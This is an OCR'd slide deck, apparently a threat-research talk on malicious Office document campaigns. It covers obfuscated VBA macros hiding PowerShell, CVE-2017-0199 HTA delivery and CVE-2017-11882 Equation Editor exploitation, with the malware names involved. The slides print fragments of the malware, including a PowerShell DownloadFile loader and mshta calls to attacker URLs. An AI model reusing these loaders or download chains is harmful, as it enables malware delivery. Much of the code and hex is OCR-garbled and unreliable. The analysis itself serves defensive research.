S}:l{try{.;{wEh c*LiEnt}. ("{3}{0}{2}{1}"-£'gunl’, 'File', 'gad’, 'D') .Invoke (3 {uRL}. ("{2}{1}{0}"-£]
k;}eatch{. ("{2}{0}{1}"-£'rite", '~host’, "w')3{_} .“EXI:‘EP‘TIOH".“mess‘A‘GE";}}|




Campaign #9 - USR-KL

This campaign use http UserAgent strings - USR-KL and TST-DC.
This campaign was active from Jan 2018 to May 2018
Dropping Win32.Backdoor.AgentTesla, Win32.Backdoor.Bladabindi

Macro code contains junk constants values

Dim E V Az String
E WV = "IDACTO7O0AADARTOTO7DTOACSDS4TITOYORSTOVIAEYIASEDSSTO4CTOALTIO]
Dim W ICY As String
W ICY = "™yoTOVOLSBESC41BST0TO3F6ETO3DVOE06A4ES0RBTE15FTO514ESEYIEE2CTI0]
Dim EE NW As String
EE NW = "317065A57T47ESTOAETOVILLTO4DT0YO7070ATAD YT LI TIEDTITETITI0]
Dim B RJO As String
B RJO = "O007070AFYDIeT07a705100797240707070737 07 AT 7477 OE0E6SEDS 4]
Dim YX¥ B Az String




Campaign #9 - USR-KL

« Malicious PowerShell code is hidden in document variables (in case of doc file) and excel
sheet cells

Dim JKF CSX is String
JEF_C3X = ThisWorkbook.Zheets ("sheetl™) .Range ("J201") .Value

F_WF.Exec F_AE (ActiveDocument.Variables ("WI _LL"™))
End Function

« Uses the same decryption method as mentioned in campaign #5

For i = 1 To Len(encrypted code) Step 2
encrypted char = Chr("sH" & Mid{encrypted code, i, 2))
decrypted_code = decrypred_code & CIC(A3C(eNCrypLed char) - 13

Hexﬂ



Use of Exploit - CVE.2017.0199

The prevalent one was CVE.2017.0199 exploit

* In the wild starting from Apr 2017

 Observed Win32.Ransom.PEC, Win32.Banker.PandaBanker, Win32.Banker.Emotet,
payloads dropped

« Use OLEZ2Link object to download the HTA file that download the final payload

Source fil It T Updat .
bl - s e dell’art.13 del D.Lgs.

b trattati, anche con
er il quale la presente

Ciacurnent

Ipidate Mo

Change Source. ..

Break. Link

Source infFormation for selected link

Source file: kg fimarkspencer44, 000webhostapn. camfpar agraph, reF
Ttem in File:
Link bype:  Microsoft OFfice Word 97 - 2003 Document

Update method for selected link
(%) Automatic update

LAY B I R,

ara




Use of Exploit - CVE.2017.0199

Content type of the response is set to “application/hta”

GET /paragraph.rtf HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.@ (compatible; MSIE 7.@; Windows NT 6.1; WOWed; T
2.8.50727; .NET CLR 3.5.3@8729; .NET CLR 3.9.38729; Media Center PC 6.0;
Host: markspencerd4,@@@webhostapp.com

Connection: Keep-Alive

HTTP/1.1 288 OK
Date: Fri, @5 May 2817 87:28:53 GMT
Content-Type: applicatien/hta




Use of Exploit - CVE.2017.0199

« HTA script contains junk data but HTA parser will load it without any error

PR ! i coococoooooooo o [Content Twpes].zxml ...

e @l 3Ll L TR OO, _dm. .- L, e
P

T T e - T :BE [ CE-[ P el o cpdiM. . cPi. .. oL ACAEN L L LT, e e . RE ... .H..d. M. CB. .w.P. ... LY
b [P o VR LV T W s LSL. -l LU DXL L LD e LA S --@_F._."__ .. M_og=sld_w_dL.
________ ! _relsyS.rels ...

- e HowW™ oLl L w
G..dino. <. . .<. 1
dig.@. M6 . L] F .
ac..b*lI.r.jl)...18.%. .b.

- eME. o LT FE. .S
P - SN T - I S (PR R, R | JERN - P Ry e S o - e

R o ccooooo oo o wordS/document.>xoml . TKo.&._ . . . . BEolgwEz . u

P " 1T TR " G - (PRI v . 1o T~ TR ~NEv-T T (O <, VB o | NG = 1- SN - N T T < 1 | S -~ O . . W@ F .. L R ¥
PR o 7= IR Evueoeo o= Me o v .

PO o PRI R - e ] cm e e Joee e FHRe e e e e P e e ET e B e e eV e o e —Chye @R o o o n o R = RSl e o cB e e a—a = n
cEoocooooo TP

B @e e aP ™ e iBEM. v o e L aB oy e emameomw o [T S TR S S e D P o DU =.31."..[
L P . - D S - T S (Y DR T - D S . S ) [ - Y S i S - - D o - T o P Foocoooo ]
M.._.m. . i . . P.@.T}. - .. a...m.al..... <l 8ilo o o oElic e B o oSk ic cooc o oo oo 0o o o oo Ul T JE Y O T T [ AR e o oo o oo
B e we.-Z.gb.T. g__-_u-_S Eoolfooalllssooo oo o Cialtls o o oo o qu P = - A, B S I V. T T Ty - DR N i [ O,
e P T T e e Voocoodo [|oaliclEesccE—ocococcnaoo <scriptr>function wSofQ{ebriwj, dMFsS2XF){return et
(wJoyDCIANT = bENI . leng—th - A wlowDCIANT >= @; wIloyDCIANTI —= 1L){x=xF += wSoTQ(bEnNI, wloyDCIANI); Freturn 2

uNYK39 = "o"ihEknnUis[@] = "F" + oS50 4+ unyYkK39 4+ "m":hEknnis[1] = hcoclsMSojHE + "ha":hEknnUis[2] = oS0 +
+ hEknnuUuis[2] + hEknnUls[B] swar bwEuwbaBRS = Stringsreturn bwEuwbaBRS[Tecda9Z ] (nZz34i) ; Ffunction Jwvikok((cast
mLISRPI; freturn +" =caSbHFfGM? [ -65688+656742) : "/ "=—casSbHfGM? (8889 -8746 ) : nMNNs . indexOf (casbHTFGM) ; yTunction ul
sDMsD§2 = " -‘For‘{uFl—Dczz-B UFHM2 <yldF 6 Cw. length-ZF; uFHXM2 += 4) {opbdOooalR=Fwviok (wSofQ(ywWF&6Cw, uFHX2+6) ) ;bwZu
UFHX2+23 ) : J6TNcBIFI=—juidok (wSoTQ(wWFE6Cw, UFHX2+3));sDMSDj2 += hgAlopbdlo@lR<<2 |bYZQuI>>>4)) ;iT (wSoTQ (e
(wSofQ{ wWF&ECw, WFHNZ+3)!=deKXLr){sDMSDj2 += hga(wvyL8BwkDch<<6&192 | jETNcB9F3); Freturn sDMSD§2; Ffunction




Use of Exploit - CVE.2017.11882

This vulnerability is related to Microsoft Equation Editor

Observed Win32.PWS.LokiBot and Win32.PWS.Fareit malware being dropped using these

exploits from Nov 2017 to Apr 2018

0 0o oo 4D 69 63 Y2 &6F 73 aF 66 74 20 45 71 75 H..Hicrnsnft Equ
61 74 &89 6F 6E 20 33 ZE 30 00 OC 00 00 00 44 53 ation 3.0..... b3
=0 45 71 75 61 74 69 6F 6E 00 OB OO OO OO 45 71 Equation..... Er
75 61 74 69 gF 6E ZE 33 00 F4 39 B2 71 00 00 00 wuwation.3.49%*g..
0o ad oo 0o 0o 00 00 a0 a0 00 00 00 ad a0 00 00 e e e s e e v nnnnnns
0o ad oo 0o 0o 00 00 a0 a0 00 00 00 ad a0 00 00 e e e s e e v nnnnnns
oo ad oo 0o 00 03 00 04 a0 00 00 00 a0 a0 00 00 e e e s e evnnnnnns
0o ad oo 0o 0o 00 00 a0 a0 00 00 00 ad a0 00 00 e e e s e e v nnnnnns
0o ad oo 0o 0o 00 00 a0 a0 00 00 00 ad a0 00 00 e e e s e e v nnnnnns
0o ad oo 0o 0o 00 00 a0 a0 00 00 00 ad a0 00 00 e e e s e e v nnnnnns
oo oo oo 1C 00 00 00 02 0o 9E C4 A9 a0 a0 a0 0o ... . Eh@.

oo oo oo 8 AV 5C 00 C4 EE SE OO0 0O a0 ao oo a3 EgY . AI[......
01 01 03 04 O4 O1 08 5& 54 6D V3 68 74 61 20 68 ....... Zimshta h
74 74 70 34 ZF ZF 67 61 6D 65 73 61 72 65 6E 61 ttp://gamesarena
FE 67 64 6E ZF 68 74 61 2ZF 55 69 76 6D ZE 68 74  .gdn/hta/Tivi. ht
61 20 Z6 41 41 12 OC 43 00 00 00 00 a0 a0 00 00 & &RA..C.......,

——

—

——

——

—_

——

—_

——

—_

—



RTF file format obfuscation

 Junk data insertion in RTF header.

{\ohjectlobihemlh obinpdate’ objws757, objha 784 (4 *\ ohjdata

eff4d61£02000000020000006£71453 6713 669724a00000000000000000000100000d0c£1 1e0a1hl1ae 100000000001
0000100000000000000001000000200000001000000£e££££££0000000000000000f££fffEffffEffffffEfffff s:
1 o o 0 o o o R s
1 8 0 0 8 0 o o 8 8 o 0 o o 8 0 o
1 1 8 o 1 8 o R o o R R
1 o o 0 o o o R s
1 8 0 0 8 0 o o 8 8 o 0 o o 8 0 o
O 0 . o o o o s
1 0 o 8 8 o R



RTF file format obfuscation

Random keywords were inserted in the RTF file format

5
T3
34
34
34
33

_|

=
a
=
a
=
4
IE
4
IE
4

70
27
27
27
27
27

(m)s]
o9

har i |

7D [fBE 5C 2.

35 37 5C 27
32 45 5C 27
37 35 5C 27
35 34 5C 27
33 33 VD Z0

()=
20

( Junk data

20 o9 09
o9 zZ0 04
oa oo OD
oD 04 o4
oa oo OD
oD 04 o4

oo ab

0oah o4& VB S5C
Z0 09 Z0 20

(i har M | (i (i

5

34
36
32
as

[
as

har 2 |

&6F
16
34
14
15
as

=]
as

har 2 |

andp: [ cbiclas
= W IETN AR TEN !
q4h ' ZEY ' ddh ! 5FY !
43% ' FEN P EDY P 65N !
qEY ' 54h ' ZEY ' 33N !
IEYUEIY ... :

= = O (mTw] (mTw] (mTw] ] {

...... file...
Ran d om KE'Ewnrd

har har i | (i (i (i har M |




Conclusion

« Simple encryption methods are used

 PowerShell is a popular choice for downloading the final payload
* New ways to detect sandbox & emulators

« Multi-stage macro codes to hide the end payload

« VBA macro vs. Vulnerability Exploits

 What Next?
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